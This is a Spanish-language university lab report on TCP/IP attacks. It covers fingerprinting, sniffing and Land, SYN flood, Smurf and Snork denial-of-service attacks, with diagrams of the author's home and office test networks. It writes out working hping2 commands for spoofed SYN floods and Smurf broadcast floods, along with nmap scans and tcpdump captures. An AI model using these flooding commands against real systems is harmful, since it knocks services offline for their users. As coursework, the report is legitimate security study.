Ataques A Tcp Udp

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

EJERCICIOS A REALIZAR:

Aspectos Avanzados de Seguridad en Redes

Las vulnerabilidades pretenden describir las debilidades y los métodos más comunes que se utilizan para perpetrar ataques a la seguridad de la familia de protocolos TCP/IP (confidencialidad, integridad y disponibilidad de la información). Éstos pueden provenir principalmente de dos fuentes: - Usuarios autentificados, al menos a parte de la red, como por ejemplo empleados internos o colaboradores externos con acceso a sistemas dentro de la red de la empresa. También denominados insiders. - Atacantes externos a la ubicación física de la organización, accediendo remotamente. También denominados outsiders. Amenazas Datos modificados Caballo de Troya Memoria cambiada Mensajes modificados transito)

Consecuencias INTEGRIDAD Información perdida Maquina penetrada Vulnerabilidad a otras amenazas (en

CONFIDENCIALIDAD Mensajes escuchados en la red Perdida de privacidad Datos robados de servidores Revela contraseñas etc. Análisis de trafico Identifica patrones de acceso Detecta configuración de la red Facilita otros ataques DENIAL OF SERVICE Procesos matados Molestias Inundación con paquetes Interferencia con trabajo Llenado de discos Aislamiento de maquinas (DNS) AUTENTIFICACION

1 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Identidades falsas Datos falsos

Acciones atribuidas al usuario Daño al nombre institucional

Las vulnerabilidades pueden clasificarse según dos criterios: - Número de paquetes a emplear en el ataque: Atomic: se requiere un único paquete para llevarla a cabo. Composite: son necesarios múltiples paquetes. - Información necesaria para llevar a cabo el ataque: Context: se requiere únicamente información de la cabecera del protocolo. Content: es necesario también el campo de datos o payload.

Context

Content

Ping of death Land attack WinNuke DNS attack Proxied RPC IIS attack Atomic

Port scan SYN Flood TCP hijacking SMTP attacks String matches Sniffing Composite

1.2 La utilización de estas técnicas se conoce con el nombre de fingerprinting, es decir, obtención de la huella identificativa de un sistema o equipo conectado a la red. Una técnica específica que permite extraer información de un sistema concreto es el fingerprinting es decir, la obtención de su huella identificativa respecto a la pila TCP/IP. El objetivo primordial suele ser obtener el sistema operativo que se ejecuta en la máquina destino de la inspección. Esta información junto con la versión del servicio o servidor facilitará la búsqueda de vulnerabilidades asociadas al mismo. Gran parte de la información de la pila TCP/IP puede obtenerse en base al intercambio en tres pasos propio del protocolo TCP/IP (TCP three-way handshake) La probabilidad de acierto del sistema operativo remoto es muy elevada, y se basa en la identificación de las características propias de una implementación de la pila TCP/IP frente a otra, ya que la interpretación de los RFCs no concuerda siempre. Para poder aplicar esta técnica con precisión es necesario disponer de un puerto abierto (TCP y/o UDP). Las diferentes pruebas a realizar para diferenciar los sistemas operativos son:

2 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

-

FIN probe: Al enviarse un paquete de FIN el sistema remoto no debería responder unque implementaciones como la de Windows NT devuelven un FIN-ACK.

-

Bogus flag probe: Se activa un flag TCP aleatorio en un paquete SYN. La respuesta de implementaciones como Linux devuelven un SYN-ACK con el mismo flag activo.

- ISN sampling: Pretende encontrarse un patrón empleado por la implementación para seleccionar los números iniciales de secuencia (ISN) de una conexión TCP. - Monitorización del “Don´t fragment bit”: Se analiza si el sistema operativo establece por defecto el bit de no fragmentación (DF) como activo o no. - Tamaño de ventana TCP inicial: El tamaño de ventan empleado por defecto en cada implementación es muy particular y ayuda a descubrir de cual puede tratarse. - Valor de ACK: El valor del número de secuencia asignado en el campo ACK diferencia también la implementación, ya que algunas devuelven el valor recibido como número de secuencia mientras que otras lo incrementan en uno. - Mensaje de error de ICMP quenching: El RFC 1812 determina que el control de flujo de mensajes de error debe limitarse. Al enviar un paquete UDP a un número elevado de puerto, aleatoriamente, se puede medir el número de mensajes de tipo unreachable por unidad de tiempo. - ICMP message quoting: Los comentarios añadidos a los mensajes de error ICMP varían en función del sistema operativo. - Mensajes de error ICMP-integridad: Las cabeceras IP pueden ser alteradas por las diferentes implementaciones al devolver mensajes de error ICMP. Un análisis exhaustivo de los cambios en las cabeceras puede permitir determinar el S.O. - TOS (Tipo de Servicio): Ante los mensajes “ICMP port unreachable” puede examinarse el campo TOS, que suele ser cero pero puede variar. - Gestión de la fragmentación [ El manejo de los paquetes fragmentados que se superponen es gestionado de forma particular por cada pila: al reensamblar los fragmentos, algunas sobrescriben los datos más antiguos con los nuevos y viceversa. - Opciones TCP: Los RFCs 793 y 1323 definen las opciones TCP posibles. Mediante el envío de paquetes con muchas opciones avanzadas activas (no operation, MSS, Window scale factor, timestamps...) puede descubrirse el comportamiento de cada S.O.

3 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Dos de las herramientas que facilitan esta tarea son NMAP y QUESO. Mientras que la funcionalidad de la primera es muy amplia, la segunda sólo se aplica a la aplicación de esta técnica (identificación de sistemas a través del comportamiento de la pila TCP/IP). Dentro de las técnicas de identificación de un sistema existen otras, denominadas pasivas, que no se basan en enviar paquetes al sistema a atacar. Para ello monitorizan el tráfico asociado al sistema y en función de los atributos y características de los paquetes, principalmente de las cabeceras TCP, determinan su origen.

TECNICAS UTILIZADAS: Sniffers: que se encargan de capturar e interpretar tramas y datagramas mediante aplicaciones en entornos de red basados en difusión. Un sniffer no es más que un sencillo programa que intercepta toda la información que pase por la interfaz de red a la que esté asociado. Una vez capturada, se podrá almacenar para su análisis posterior. Sniffing: consiste en que sin necesidad de acceso a ningún sistema de la red, un atacante podrá obtener información sobre cuentas de usuario, claves de acceso o incluso mensajes de correo electrónico en el que se envían estas claves. La forma más habitual de realizar técnicas de sniffing en una red, probablemente porque está al alcance de todo el mundo, es la que podríamos denominar sniffing software, utilizando las aplicaciones que ya mencionadas. Niffing: también se conocen como técnicas de eavesdropping y técnicas de snooping. La primera, eavesdropping, es una variante del sniffing, caracterizada por realizar la adquisición o intercepción del tráfico que circula por la red de forma pasiva, es decir, sin modificar el contenido de la información. Por otra parte, las técnicas de snooping se caracterizan por el almacenamiento de la información capturada en el ordenador del atacante, mediante una conexión remota

4 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

establecida durante toda la sesión de captura. En este caso, tampoco se modifica la información incluida en la transmisión. COMO SE PUEDEN EVITAR LOS ATAQUES: Una solución para evitar esta técnica consiste en la segmentación de la red y de los equipos mediante el uso de conmutadores (switches). Al segmentar la red y los equipos, el único tráfico que tendrían que ver las máquinas sería el que les pertenece, puesto que el conmutador se encarga de encaminar hacia el equipo únicamente aquellos paquetes destinados a su dirección MAC

1.1 Con tus palabras qué es un “Land Attack”. Ç Un ataque LAND se realiza al enviar un paquete TCP/SYN falsificado con la dirección IP del servidor objetivo como si fuera la dirección origen y la dirección destino a la vez, además de usar un puerto abierto TCP, tanto de destino como de origen. Las consecuencias son: Que el servidor piense o responda a sí mismo ciontinuamente hasta colapsar. Como evito el ataque LAND: La mayoría de los firewalls deberían interceptar el paquete malicioso. Adicionalmente routers deberían ser configurados con filtros tanto de entrada como de salida, para bloquear tráco donde la dirección IP origen se encuentra en el mismo espacio de direcciones que la dirección destino. Algunos sistemas operativos han generado actualizaciones para específicamente cubrir este problema de seguridad.

3.1 Ataque SYN Flooding Para este ejercicio, lo aplique en los equipos de la empresa con el siguiente esquema.

5 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

172.26.96.97 /24 Dirección IP Fija Debian Lenny Linux PC Atacado

172.26.96.27/2 4 Linux Ubuntu 810

Atacante

172.26.96.162/24 Windows Server 2003 Asigna DHCP y controla Dominio Router 172.26.96.241

El ataque TCP/SYN Flooding se basa en no completar intencionalmente el protocolo de intercambio TCP para inundar la cola de espera. La victima se queda esperando por establecer un servicio pues el atacante no responde con ACK los SYN/ACK de la victima, Esto ocurre hasta saturar los recursos de memoria y así consigue la denegación de servicios de la víctima. La denegación de servicios se da por que el sistema esta a la espera de que baje el umbral que generalmente es 1 minuto para aceptar mas conexiones, cada conexión generada por un SYN, tienen un temporizador de 1 minuto, cuando se excede el limite de tiempo o umbral, se libera la memoria que mantiene el estado de la conexión y la cuenta de la cola de servicios se disminuye en 1. El atacante debe usar un IP falso para que no le hagan seguimiento a las conexiones.

6 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Diagrama del ataque TCP/SYN Flooding ORIGEN

DESTINO

IP=1.2.3.4 → SYN

IP=172.26.96.97

IP=1.2.3.4 ← SYN/ACK

IP=172.26.96.97

Nunca responde con ACK

El IP=172.26.96.97 guarda en la cola la petición de conexión por 1 minuto

Se repite la secuencia de requerimiento

El IP=172.26.96.97 se satura por tanto requerimiento encolado y ocurre el DoS

Cualquier IP cliente pide servicio al servidor

El IP=172.26.96.97 no puede atender requerimientos pues esta en medio de un ataque DoS. Solamente cuando cese el ataque automáticamente se atienden los requerimientos de los clientes

7 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

PROCEDIMIENTO: La instrucción del ataque es así: # hping2 172.26.96.97 –-rand-source –S –-destport 80 –-faster --debug –w 2048

DESCRIPCION DE LOS PARAMETROS: PARAMETRO

DESCRIPCION

172.26.96.97

IP de la Victima

--rand-source

IP ficticio o spoofed, se genera aleatorio, la idea es que no exista en la red, al no existir este no responde y así el atacante pasa inadvertido

--debug

Muestra cada intento

-S

Indica el flag “S” o SYN para solicitar un servico

--destport

Indica el servicio requerido, es clave que este servicio este habilitado en la victima

8 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

--faster

Hace el intento de envio de SYN lo mas rápido que se pueda

.w 2048

La ventana de envío máximo será de 2048

Ahora pruebe enviando mas paquetes por segundo y observe # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu1000000, para 1 paquete por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu500000, para 2 paquetes por segundo # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu333333, para 3 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu250000, para 4 paquetes por segundo (*) # hping2 10.30.30.45 –-rand-source –S –-destport 80 –-faster -iu200000, para 5 paquetes por segundo (*)

el rendimiento: --debug –w 2048 --debug –w 2048 --debug –w 2048 --debug –w 2048 --debug –w 2048

¿Que requisitos deben cumplirse para que el ataque sea efectivo? Si el servidor esta blindado con un firewall que sea stateful entonces el servidor víctima será capaz de revisar las sesiones y se dará cuenta del ataque en curso. Esto hará que el ataque fracase. Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo. CAPTURA EN LA VÍCTIMA: La configuración de red de la víctima es:

9 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Se abrió un servicio por el puerto 80: Mi página web http://amayac.iespana.es

“NOTESE, que no cargo completamente, ya que cuando se lanzó el ataque desde la 172.26.96.27, no se completó el servicio.

10 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Las capturas por Wireshark fueron las siguientes:

Aca se observa una apertura normal de paquetes y servicios con solicitudes al puerto 80. La solicitud la hace la máquina víctima 172.26.96.97 a un DNS amayac.iespana.es con respuesta.

11 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

En ele momento de presentar el ataque, se observa la petición por parte del atacante quién pregunta por 172.26.96.97. Se empieza a observar la inundación de paquetes SYN con la intención de complementar el protocolo. Luego se observa que se llega al límite al generar cada paquete un SYN/ACK cuando se llena el tamaño del bufer que almacena las peticiones.

12 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Se observa finalmente la cantidad de peticiones y de tramas del protocolo sin terminar. 3.2 Ataque Smurf El ataque "Smurf" pertenece a la familia de ataques conocidos como Denial of Services (DoS), los cuales tienen como objetivo principal dejar fuera de servicio a la máquina que se ataca. Es una variante del ataque IP Flooding. El algoritmo general del ataque “Smurf” es el siguiente:

13 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

ELEMENTOS NECESARIO PARA REALIZAR EL ATAQUE: Resumo para este ejercicio de la PEC que “Smurf” maneja tres elementos diferentes que trabajando entre si generan el ataque, estos son: Uso de ICMP (Internet Control Messaging Protocol), normalmente de la misma manera que el ping. El propósito original de este protocolo es el de enviar y retornar mensajes de error, en particular "ping" chequea que una máquina específica este viva. IP (Internet Protocol), el cual es usado por los usuarios para enviar cualquier paquete/mensaje en Internet. Por ejemplo se pueden enviar paquetes a una "dirección broadcast". Cambio de dirección origen, se manipula el encabezado del paquete ICMP cambiando la dirección origen del mismo para que de esta manera las respuestas se generen hacia dicha dirección. INTERPRETACIÓN CON UN EJEMPLO: Si por ejemplo, una persona logra ejecutar un ataque "smurf" por intermedio de una red (con su IP broadcast habilitado) que tiene 40 computadores, un solo mensaje ping creará 40 de respuesta . Que los recibirá la víctima. COMPONENTES DEL ATAQUE

14 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

El ataque "smurf" tiene tres componentes principales: 1 El Atacante: es la persona que crea los paquetes ICMP con la IP fuente falsa y lanza el ataque. 2 El Intermediario: la red amplificadora del paquete ICMP con su direccionamiento broadcast habilitado. 3 La Víctima: su dirección IP ha sido suplantada para que las respuestas ICMP sean enviadas a ella. Se debe anotar que el intermediario también puede convertirse en víctima. QUE NECESITE PARA HACER EL ATAQUE: Deben existir varias maquinas en la red de tal forma que todas respondan con icmp-reply a la víctima hasta inundarla. Debe inundarse la red con muchos paquetes por segundo para que el ataque sea efectivo. Para ello, arme una red local con cuatro (4 equipos). Cumpliendo algunas fases previas como las que se recomiendan para empezar ha realizar un ataque. Como la de capturar información.

10.1.1.5/24 Knoppix STD 0.1

10.1.1.4/2 4 Windows XP Router ADSL 524B Dlink 10.1.1.1 Gateway Asugna direcciones por DHCP a la LAN

Intern et

10.1.1.3/2 4 Windows XP 10.1.1.2/24 Ubuntu 8.10 Equipo Victima

Con nmap verifico o descubro las direcciones ip activas: root@carlosubuntu:/home/carlos# nmap -sP 10.1.1.0/24

15 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:51 COT Host 10.1.1.1 appears to be up. MAC Address: 00:1C:F0:73:D6:97 (D-Link) Host 10.1.1.2 appears to be up. Host 10.1.1.3 appears to be up. MAC Address: 00:1D:72:6A:E0:5C (Wistron) Host 10.1.1.4 appears to be up. MAC Address: 00:50:DA:D6:BA:20 (3com) Host 10.1.1.5 appears to be up. MAC Address: 00:50:04:82:0C:B0 (3com) Nmap done: 256 IP addresses (5 hosts up) scanned in 6.128 seconds root@carlosubuntu:/home/carlos# Me arroja un resultado de cinco (5) hots. Es decir incluye al router También verifique los sistemas operativos que tenían los hosts de la red Ejemplo para el host con la dirección 10.1.1.3 root@carlosubuntu:/home/carlos# nmap -O 10.1.1.3 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:54 COT Interesting ports on 10.1.1.3: Not shown: 1710 closed ports PORT STATE SERVICE 21/tcp open ftp 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS MAC Address: 00:1D:72:6A:E0:5C (Wistron) Device type: general purpose Running: Microsoft Windows XP OS details: Microsoft Windows 2000 SP4, or Windows XP SP2 or SP3 Network Distance: 1 hop OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 2.725 seconds root@carlosubuntu:/home/carlos# Y para el host que destine como victima el Ubuntu 8.10

16 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

root@carlosubuntu:/home/carlos# nmap -O 10.1.1.2 Starting Nmap 4.62 ( http://nmap.org ) at 2009-03-20 21:55 COT Interesting ports on 10.1.1.2: Not shown: 1709 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 902/tcp open iss-realsecure 5900/tcp open vnc 8000/tcp open http-alt 8009/tcp open ajp13 Device type: general purpose Running: Linux 2.6.X OS details: Linux 2.6.17 - 2.6.23 Uptime: 0.312 days (since Sun Mar 14 14:26:35 2009) Network Distance: 0 hops OS detection performed. Please report any incorrect results at http://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.702 seconds root@carlosubuntu:/home/carlos# ATAQUE La víctima es el equipo Ubuntu 8.10 con l dirección ip 10.1.1.2. la dirección de broadcast de la red es 10.1.1.255 root@carlosubuntu:/home/carlos# ifconfig eth0 Link encap:Ethernet HWaddr 00:a0:d1:9b:b4:56 inet addr:10.1.1.2 Bcast:10.1.1.255 Mask:255.255.255.0 inet6 addr: fe80::2a0:d1ff:fe9b:b456/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:85146 errors:0 dropped:4 overruns:0 frame:0 TX packets:84610 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:94913189 (94.9 MB) TX bytes:8073180 (8.0 MB) Interrupt:16 Usando la herramienta ‘hping2’ que lance desde el equipo con Knoppix STD 0.1, el cual instalé con el DVD que sumnistro la UOC. Instalado localmente en un disco duro destinado para ello, es decir no en modo live cd.

17 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

La instrucción para el ataque se ejecuto así: # hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 ESTA FUE LA QUE REALICE root@kstd:~# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp -C --icmp-request -y -V -d 56 using eth0, addr: 10.1.1.5, MTU: 1500 HPING 10.1.1.255 (eth0 10.1.1.255): icmp mode set, 28 headers + 56 data bytes --- 10.1.1.255 hping statistic --215 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms root@kstd:~# root@kstd:~#

INTERPRETACION DEL COMANDO: Investigando y aplicando, esto fue lo que encontré para poder explicar el comando aplicado para este ejercicio de la PEC:

PARAMETRO

DESCRIPCION

10.1.1.255

Red que se usara como medio para atacar a la maquina, es el campo destino del paquete IP, el objetivo es hacerle echo-request a cada una de las maquinas de la red.

-spoof 10.1.1.2

Ip de la maquina a atacar, campo de la IP fuente del paquete IP, a esta IP las maquinas de la red le enviaran un icmp-reply hasta saturarla y colapsarla.

--icmp

Indica el protocolo que se usara, en este caso es icmp

-C o --icmp-request

Indica el tipo de paquete ICMP, para este caso icmp- request que es el defecto

-y

Indica que no fragmente los paquetes

-V

Muestra información adicional de lo que está ocurriendo

-d 56

Tamaño de los datos a enviar. 56 es el estandar del tamaño ping

18 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

El sniffer me capturo estos paquetes en la maquina atacada root@carlosubuntu:/home/carlos# tcpdump -i eth0

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 22:16:53.234983 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1024, length 64 22:16:53.235562 IP carlosubuntu.local.45325 > 10.1.1.1.domain: 40365+ PTR? 255.1.1.10.in-addr.arpa. (41) 22:16:53.267260 IP 10.1.1.1.domain > carlosubuntu.local.45325: 40365 NXDomain* 0/1/0 (97) 22:16:53.368115 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:54.234942 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1280, length 64 22:16:54.376116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:55.234951 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1536, length 64 22:16:56.234954 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 1792, length 64 22:16:56.380097 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 255.1.1.10.in-addr.arpa. (41) 22:16:57.234961 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2048, length 64 22:16:58.234969 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2304, length 64 22:16:58.272146 IP carlosubuntu.local.45125 > 10.1.1.1.domain: 15729+ PTR? 2.1.1.10.in-addr.arpa. (39) 22:16:58.305000 IP 10.1.1.1.domain > carlosubuntu.local.45125: 15729 NXDomain* 0/1/0 (95) 22:16:58.408106 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 2.1.1.10.in-addr.arpa. (39) 22:16:58.408248 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0*- [0q] 1/0/0 (Cache flush) PTR[|domain] 22:16:58.408593 IP carlosubuntu.local.37551 > 10.1.1.1.domain: 54572+ PTR? 1.1.1.10.in-addr.arpa. (39) 22:16:58.439042 IP 10.1.1.1.domain > carlosubuntu.local.37551: 54572 NXDomain* 0/1/0 (95) 22:16:58.544088 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:16:59.234978 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2560, length 64 22:16:59.548100 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:00.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 2816, length 64 22:17:01.234992 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3072, length 64 22:17:01.552099 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 1.1.1.10.in-addr.arpa. (39) 22:17:02.234993 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3328, length 64 22:17:03.235002 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3584, length 64 22:17:03.444206 IP carlosubuntu.local.51050 > 10.1.1.1.domain: 21964+ PTR? 251.0.0.224.in-addr.arpa. (42) 22:17:03.674842 IP 10.1.1.1.domain > carlosubuntu.local.51050: 21964 NXDomain 0/1/0 (100) 22:17:03.776094 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:04.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 3840, length 64 22:17:04.784116 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:05.235016 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4096, length 64 22:17:06.235028 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4352, length 64 22:17:06.788118 IP carlosubuntu.local.mdns > 224.0.0.251.mdns: 0 PTR (QM)? 251.0.0.224.in-addr.arpa. (42) 22:17:07.235019 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4608, length 64 22:17:08.235060 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 4864, length 64 22:17:09.235039 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5120, length 64 22:17:10.235157 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5376, length 64 22:17:11.235057 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5632, length 64 22:17:12.235058 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 5888, length 64 22:17:13.235056 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6144, length 64 22:17:14.235080 IP carlosubuntu.local > 10.1.1.255: ICMP echo reply, id 33282, seq 6400, length 64

PARA AUMENTAR Ahora probe enviando mas paquetes por segundo y observe el rendimiento:

# hping2 10.1.1.255 --spoof 10.1.1.2 --icmp –C --icmp-request –y –V –d 56 -iu1000000, para 1 paquete por segundo

19 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

Desde el punto de vista del atacante, (en este caso la 10.1.1.5 l equipo con Kanoppix STD 0.1) smurf genera un tráfico de red así: root@kstd:~# tcpdump -i eth0 tcpdump: listening on eth0 03:21:49.430123 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:49.431017 10.1.1.5.32769 > 10.1.1.1.domain: 36141+ PTR? 2.1.1.10.in-addr. (DF) 03:21:49.462612 10.1.1.1.domain > 10.1.1.5.32769: 36141 NXDomain* 0/1/0 (95) 03:21:49.463026 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. (DF) 03:21:50.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:51.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:52.430107 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:53.430106 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:54.430080 arp who-has 10.1.1.1 tell 10.1.1.5 03:21:54.430137 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:54.430537 arp reply 10.1.1.1 is-at 0:1c:f0:73:d6:97 03:21:54.470097 10.1.1.5.32769 > 10.1.1.1.domain: 36142+ PTR? 1.1.1.10.in-addr. (DF) 03:21:54.502520 10.1.1.1.domain > 10.1.1.5.32769: 36142 NXDomain* 0/1/0 (95) 03:21:54.502793 10.1.1.5.32769 > 10.1.1.1.domain: 36143+ PTR? 5.1.1.10.in-addr. (DF) 03:21:54.532438 10.1.1.1.domain > 10.1.1.5.32769: 36143 NXDomain* 0/1/0 (95) 03:21:55.430121 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:56.430120 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:57.430118 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:58.430157 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:59.430124 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:21:59.502398 arp who-has 10.1.1.5 tell 10.1.1.1 03:21:59.502420 arp reply 10.1.1.5 is-at 0:50:4:82:c:b0 03:22:00.430259 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF) 03:22:01.430149 10.1.1.2 > 10.1.1.255: icmp: echo reply (DF)

arpa. (39) arpa. (39)

arpa. (39) arpa. (39)

24 packets received by filter 0 packets dropped by kernel root@kstd:~# root@kstd:~#

Acá se puede observar que se realizan varios icmp echo request a diferentes direcciones broadcast que en este caso particular se encuentran en mi red local (una sola), dichos paquetes llevan como dirección origen 10.1.1.2 que en este caso es la máquina víctima.

TRAMAS CAPTURADAS CON WIRESHARK EN EL EQUIPO VICTIMA: Las capturas del wireshark son en el equipo victima. Se configuto eth0 en modo promiscuo, 20 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

es decir que recibiera todo el trafico.

Con un frame de 98 Bytes se observa como las peticiones fluyen del broadcast inundando la victima con dirección IP 10.1.1.2

21 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

3.3 3.4 Ataque Snork El protocolo IP define un sistema de pruebas simple que permite verificar el funcionamiento del protocolo de comunicaciones. El sistema proporcionado por IP se basa en el envío de un 22 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

datagrama “especial” al computador destino, que lo reconoce y envía una respuesta al origen (ECHO → REPLY), el protocolo IP define para estas pruebas simples un servicio para la recepción de un datagrama UDP al puerto 7 (ECHO). Por otro lado, existe un servicio proporcionado en muchos sistemas operativos tipo UNIX y Windows denominado CHARGEN (CHARacter GENerator, generador de caracteres) que dada una petición responde con una secuencia aleatoria de caracteres. Este ataque puede realizarse entre varios computadores (consumiendo ancho de banda y degradando el rendimiento de la red) o desde un mismo computador (él mismo se envía una petición y el mismo se (él responde) consiguiendo consumir los recursos existentes (especialmente CPU y memoria) de la máquina atacada. LOS REQUISITOS PREVIOS PARA EL ATAQUE SON:

En versiones antiguas de linux para habilitar los servicios echo y chargen se debe editar el archivo /etc/inetd.conf y quitar el signo comentarios “#” de las lineas echo y chargen, luego se debe reiniciar el servicio “inetd” con el comando /etc/init.d/inetd stop y /etc/init.d/inetd start, y se verifica con status. Los Linux mas modernos en cambio del archivo de configuración /etc/inetd.conf usan archivos con el nombre del servicio y están en el directorio /etc/xinetd.d/, en este directorio existen archivos que representan los servicios de red, en estos archivos existe una variable llamada “disable” que debe ser igual a la palabra “no” para habilitar el servicio, luego se debe reiniciar el servicio “xinetd” con el comando /etc/init.d/xinetd stop y /etc/init.d/xinetd start. PARA EL CASO DEL EJERCICIO PARA LA PEC: Instale los tres equipos, todos con tres versiones distintas de linux. Entre ellas la versión del knoppix STD que me suministro la UOC para realizar los ataques: Todas las tres máquinas conectadas al router ADSL 524B que me suministra mi ISP. Este router tiene como gateway1 10.0.0.1 y asigna direcciones Ip automáticos. Excepto la del Debian Lenny que le asigne manual 10.0.0.60 por que ahí tengo implementado un ervidor proxy squid stable 2.7

23 de 38

PARA EL GRUPO DE TELEMATICA UNAD.

Autor: Ing. Carlos Alberto Amaya Tarazona

